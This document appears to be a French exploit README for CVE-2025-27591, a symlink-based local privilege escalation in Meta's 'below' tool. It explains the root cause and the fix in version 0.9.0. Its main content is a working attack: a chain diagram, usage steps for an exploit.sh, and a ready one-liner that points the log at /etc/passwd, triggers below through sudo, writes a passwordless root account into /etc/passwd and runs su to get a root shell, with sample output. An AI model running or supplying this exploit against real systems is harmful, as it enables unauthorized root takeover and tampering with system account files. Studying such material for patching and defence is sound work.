CVE-2025-27591 — Escalade de privilèges locale par lien symbolique dans Meta below

Aperçu

Description

L'outil de surveillance des ressources système below (de Meta Platforms, Inc.) contient une faille dans son mécanisme de journalisation des erreurs. Lorsqu'il est invoqué via sudo, il impose les permissions 0666 sur ses fichiers journaux situés dans /var/log/below/ sans vérifier au préalable si le chemin cible est un lien symbolique. Cela permet à un attaquant local de remplacer le fichier journal par un lien symbolique pointant vers n'importe quel fichier accessible en écriture par root, écrasant ainsi efficacement ce dernier avec un contenu contrôlé.

Détails techniques

Cause racine

Le code de journalisation dans below < 0.9.0 effectue ces opérations en séquence lorsqu'il est exécuté en tant que root :

1. Détermine le chemin du journal : /var/log/below/error_root.log
2. Crée ou ouvre le fichier
3. Appelle chmod(path, 0o666) — sans vérifier s'il s'agit d'un lien symbolique
4. Écrit le message d'erreur dans le chemin

À l'étape 4, si le chemin a été remplacé par un lien symbolique avant l'exécution, l'écriture va vers la cible du lien symbolique.

Chaîne d'exploitation

Local user
    │
    ▼
Remove /var/log/below/error_root.log
    │
    ▼
Create symlink: /var/log/below/error_root.log → /etc/passwd
    │
    ▼
Trigger error via: sudo /usr/bin/below replay --time "invalid"
    │  (below opens the "log file", chmod 0666 hits /etc/passwd, writes error)
    ▼
/etc/passwd is now world-writable
    │
    ▼
Append rogue root entry: rooted::0:0:root:/root:/bin/bash
    │
    ▼
su rooted → root shell

Pourquoi --time "invalid" fonctionne

Le fait de passer une chaîne de temps invalide force below à journaliser un message d'erreur. Le chemin d'erreur atteint le code de journalisation qui écrit aveuglément dans le fichier, qui est maintenant notre lien symbolique.

Utilisation

chmod +x exploit.sh
./exploit.sh

Prérequis : L'utilisateur actuel doit avoir les droits sudo pour exécuter /usr/bin/below.

Commande en une ligne

rm -f /var/log/below/error_root.log; \
ln -s /etc/passwd /var/log/below/error_root.log; \
sudo /usr/bin/below replay --time "invalid" >/dev/null 2>&1; \
echo 'rooted::0:0:root:/root:/bin/bash' > /var/log/below/error_root.log; \
su rooted

Preuve de concept

$ whoami
lowpriv
$ ./exploit.sh
# whoami
root

Correctif

La vulnérabilité a été corrigée dans la version 0.9.0 de below. Le correctif introduit une vérification de lien symbolique avant toute opération sur les fichiers dans le chemin de journalisation.

Références

• Entrée NVD
• Meta below sur GitHub